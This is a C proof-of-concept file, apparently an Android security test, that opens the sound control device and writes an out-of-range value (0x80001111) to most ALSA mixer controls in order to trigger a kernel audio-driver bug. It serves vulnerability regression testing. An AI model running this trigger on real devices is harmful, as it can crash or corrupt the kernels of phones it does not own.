1 /**
2  * Copyright (C) 2017 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #define _GNU_SOURCE
18 
19 #include <string.h>
20 #include <stdio.h>
21 #include <stdlib.h>
22 #include <sys/ioctl.h>
23 #include <sys/ptrace.h>
24 #include <errno.h>
25 #include <sys/syscall.h>
26 #include <sys/prctl.h>
27 #include <stdint.h>
28 #include <sys/stat.h>
29 #include <sys/mman.h>
30 #include <linux/fb.h>
31 #include <dlfcn.h>
32 #include <sys/socket.h>
33 #include <fcntl.h>
34 #include <signal.h>
35 #include <unistd.h>
36 #include <sound/asound.h>
37 #include <sys/types.h>
38 #include <sys/wait.h>
39 
40 #define MAXNUM 94
41 #define MAXPCMOP 25
42 #define MAXELE 16384
43 
44 char* CONTBL[MAXNUM]={
45     "comprC0D17",
46     "comprC0D18",
47     "comprC0D37",
48     "comprC0D38",
49     "comprC0D39",
50     "comprC0D40",
51     "comprC0D41",
52     "comprC0D42",
53     "comprC0D9",
54     "controlC0",
55     "hwC0D10",
56     "hwC0D1000",
57     "hwC0D11",
58     "hwC0D12",
59     "hwC0D13",
60     "hwC0D14",
61     "hwC0D15",
62     "hwC0D16",
63     "hwC0D2",
64     "hwC0D20",
65     "hwC0D21",
66     "hwC0D22",
67     "hwC0D24",
68     "hwC0D25",
69     "hwC0D26",
70     "hwC0D3",
71     "hwC0D30",
72     "hwC0D31",
73     "hwC0D35",
74     "hwC0D36",
75     "hwC0D37",
76     "hwC0D39",
77     "hwC0D40",
78     "hwC0D45",
79     "hwC0D7",
80     "hwC0D8",
81     "hwC0D9",
82     "pcmC0D0c",
83     "pcmC0D0p",
84     "pcmC0D10c",
85     "pcmC0D10p",
86     "pcmC0D11c",
87     "pcmC0D11p",
88     "pcmC0D12c",
89     "pcmC0D12p",
90     "pcmC0D13c",
91     "pcmC0D13p",
92     "pcmC0D14c",
93     "pcmC0D14p",
94     "pcmC0D15c",
95     "pcmC0D15p",
96     "pcmC0D16c",
97     "pcmC0D19c",
98     "pcmC0D19p",
99     "pcmC0D1c",
100     "pcmC0D1p",
101     "pcmC0D20c",
102     "pcmC0D20p",
103     "pcmC0D21p",
104     "pcmC0D22c",
105     "pcmC0D22p",
106     "pcmC0D23c",
107     "pcmC0D23p",
108     "pcmC0D24c",
109     "pcmC0D24p",
110     "pcmC0D25c",
111     "pcmC0D26p",
112     "pcmC0D27c",
113     "pcmC0D28c",
114     "pcmC0D29c",
115     "pcmC0D2c",
116     "pcmC0D2p",
117     "pcmC0D30c",
118     "pcmC0D31c",
119     "pcmC0D32c",
120     "pcmC0D33c",
121     "pcmC0D34c",
122     "pcmC0D35c",
123     "pcmC0D35p",
124     "pcmC0D36c",
125     "pcmC0D36p",
126     "pcmC0D3c",
127     "pcmC0D3p",
128     "pcmC0D43c",
129     "pcmC0D44c",
130     "pcmC0D44p",
131     "pcmC0D45c",
132     "pcmC0D45p",
133     "pcmC0D4p",
134     "pcmC0D5c",
135     "pcmC0D5p",
136     "pcmC0D6c",
137     "pcmC0D7p",
138     "pcmC0D8c"
139 };
140 
141  char* OPPCM[MAXPCMOP]={
142     "/dev/snd/pcmC0D0p",
143     "/dev/snd/pcmC0D10p",
144     "/dev/snd/pcmC0D11p",
145     "/dev/snd/pcmC0D12p",
146     "/dev/snd/pcmC0D13p",
147     "/dev/snd/pcmC0D14p",
148     "/dev/snd/pcmC0D15p",
149     "/dev/snd/pcmC0D19p",
150     "/dev/snd/pcmC0D1p",
151     "/dev/snd/pcmC0D20p",
152     "/dev/snd/pcmC0D21p",
153     "/dev/snd/pcmC0D22p",
154     "/dev/snd/pcmC0D23p",
155     "/dev/snd/pcmC0D24p",
156     "/dev/snd/pcmC0D2p",
157     "/dev/snd/pcmC0D32p",
158     "/dev/snd/pcmC0D33p",
159     "/dev/snd/pcmC0D3p",
160     "/dev/snd/pcmC0D40p",
161     "/dev/snd/pcmC0D41p",
162     "/dev/snd/pcmC0D44p",
163     "/dev/snd/pcmC0D47p",
164     "/dev/snd/pcmC0D4p",
165     "/dev/snd/pcmC0D5p",
166     "/dev/snd/pcmC0D7p"
167 };
168 
poc(char * name)169 void poc(char* name)
170 {
171     int fd, ret, cmd, index,pcmfd, i;
172     char dev[36]={0};
173     snprintf(dev, sizeof(dev),"/dev/snd/%s", name);
174     fd = open(dev, O_RDWR);
175     if (fd < 0)
176     {
177         return;
178     }
179 
180     cmd = SNDRV_CTL_IOCTL_CARD_INFO;
181     struct snd_ctl_card_info info;
182     ret = ioctl(fd, cmd, &info);
183 
184     struct snd_ctl_elem_list lst;
185     struct snd_ctl_elem_value control;
186     memset(&lst, 0, sizeof(lst));
187     lst.pids = calloc(MAXELE, sizeof(struct snd_ctl_elem_list));
188     lst.space = MAXELE;
189     cmd = SNDRV_CTL_IOCTL_ELEM_LIST;
190     ret = ioctl(fd, cmd, &lst);
191     control.value.integer.value[0]=control.value.enumerated.item[0] = 0x80001111;
192 
193     for(index=0;(unsigned int)index<lst.count;index++)
194     {
195         if(!strncmp((const char *)lst.pids[index].name,"SLIM_1_TX Channels",18)||
196            !strncmp((const char *)lst.pids[index].name,"SLIM_0_TX Channels",18)||
197            !strncmp((const char *)lst.pids[index].name,"SLIM_6_RX Channels",18)||
198            !strncmp((const char *)lst.pids[index].name,"SLIM_5_RX Channels",18)||
199            !strncmp((const char *)lst.pids[index].name,"SLIM_0_RX Channels",18)||
200            !strncmp((const char *)lst.pids[index].name,"Playback 24 Volume",18)||
201            !strncmp((const char *)lst.pids[index].name,"left Profile",12)||
202            !strncmp((const char *)lst.pids[index].name,"Playback Device Channel Map",27)||
203            !strncmp((const char *)lst.pids[index].name, "LSM",3)||
204            !strncmp((const char *)lst.pids[index].name,"MAD Input",9)||
205            !strncmp((const char *)lst.pids[index].name, "AUDIO_REF_EC_UL",15)||
206            !strncmp((const char *)lst.pids[index].name, "VOC_EXT_EC",10)) continue;
207 
208         control.id.numid=lst.pids[index].numid;
209         ret = ioctl(fd,SNDRV_CTL_IOCTL_ELEM_WRITE,&control);
210     }
211     close(fd);
212 }
213 
214 struct mystruct{
215     int a;
216     char* pp;
217 };
218 
freeptr(struct mystruct * p)219 void freeptr(struct mystruct* p)
220 {
221     unsigned char* n = (unsigned char *)p->pp;
222     n = NULL;
223     p->pp = NULL;
224     p = NULL;
225 }
226 
main()227 int main()
228 {
229     int i =0;
230     for(i = 0; i< MAXNUM; i++)
231     {
232         poc("controlC0");
233         break;
234     }
235     return 1;
236 }
237